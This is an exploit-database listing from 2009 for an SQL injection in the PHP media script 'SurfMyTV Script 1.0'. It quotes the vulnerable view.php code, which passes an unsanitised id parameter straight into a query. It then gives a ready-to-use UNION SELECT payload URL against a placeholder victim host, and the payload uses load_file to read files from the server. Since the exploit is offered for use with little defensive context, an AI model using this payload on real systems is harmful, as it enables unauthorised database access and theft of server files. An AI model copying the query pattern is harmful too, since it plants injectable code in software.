SurfMyTV Script 1.0 (view.php id) SQL Injection Vulnerability

2009-03-24T00:00:00
ID 1337DAY-ID-4958
Type zdt
Reporter x0r
Modified 2009-03-24T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            =============================================================
SurfMyTV Script 1.0 (view.php id) SQL Injection Vulnerability
=============================================================


#########################################################################################
[0x01] Informations:
Name           : Media Entertainment Script 1.0
Download       : http://www.hotscripts.com/listings/jump/download/89424/
Vulnerability  : Sql Injection To Lfi
Author         : x0r
Notes          : Proud To Be Italian
#########################################################################################
[0x02] Bug:
Bugged file is /[path]/view.php
[code]
$id  = $_GET['id'];
$v = mysql_fetch_array(mysql_query("SELECT id,views,title FROM videos WHERE id='$id'"));
[/code]
#########################################################################################
[0x03] Exploit:
1- http://victim.it/path/view.php?id=-1' union select 0,0,0,load_file('lf'),0,0,0--
########################################################################################




#  0day.today [2018-04-14]  #